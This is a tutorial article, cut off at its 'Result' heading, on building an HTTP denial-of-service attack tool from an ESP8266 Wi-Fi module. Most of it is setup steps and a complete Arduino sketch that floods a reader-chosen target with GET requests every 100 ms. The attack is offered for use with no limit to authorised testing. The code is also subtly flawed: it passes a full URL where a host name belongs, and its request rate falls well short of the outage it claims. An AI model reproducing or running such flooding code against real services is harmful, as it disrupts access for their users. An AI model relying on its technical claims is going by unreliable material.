How to create a test model of DoS attack over HTTP using ESP8266

ESP8266 is a well-known Wi-Fi module that is widely used to connect devices to the Internet. Due to its affordable price and ease of use, it is often used in IoT projects. In this article, we will look at how you can create a test model of a DoS (Denial of Service) attack over HTTP using the ESP8266.

What is a DoS attack?

A DoS attack is aimed at bringing the system down by overloading it with a large number of requests. As a result, legitimate users lose access to the service.

Hardware and software

For this project you will need:

• ESP8266 module (e.g. NodeMCU or ESP-01).

• USB cable for connecting ESP8266 to a computer.

• Arduino IDE for programming the module.

Environment settings

1. Install Arduino IDE: Download and install Arduino IDE from the official site.

2. Install ESP8266 support: Open Arduino IDE, go to File -> Preferences. Add the following URL to the additional board managers: http://arduino.esp8266.com/stable/package_esp8266com_index.json. After that, go to Tools -> Board -> Boards Manager, find and install “ESP8266”.

3. Connect the ESP8266: Connect the ESP8266 to the computer via USB. In Tools -> Board, select your ESP8266 model and also select the appropriate port in Tools -> Port.

Writing code

Now let’s create a simple script that will send HTTP requests to the target server. The code will look like this:

#include <ESP8266WiFi.h>

const char* ssid = "your_SSID";
const char* password = "your_PASSWORD";
const char* target = "http://example.com"; // Replace with destination address

void setup() {
  Serial.begin(115200);
  WiFi.begin(ssid, password);

  while (WiFi.status() != WL_CONNECTED) {
    delay(1000);
    Serial.println("Connecting...");
  }

  Serial.println("Connected!");
}

void loop() {
  if (WiFi.status() == WL_CONNECTED) {
    WiFiClient client;
    if (client.connect(target, 80)) {
      client.println("GET / HTTP/1.1");
      client.println("Host: example.com");
      client.println("Connection: close");
      client.println();
      client.stop();
      Serial.println("Request sent");
    }
  }

  delay(100); // Delay between requests
}

Download and launch

1. After writing the code, upload it to the ESP8266 via the Arduino IDE by clicking the “Upload” button.

2. Open the serial monitor (Tools -> Serial Monitor) to see a message that requests are being sent.

Result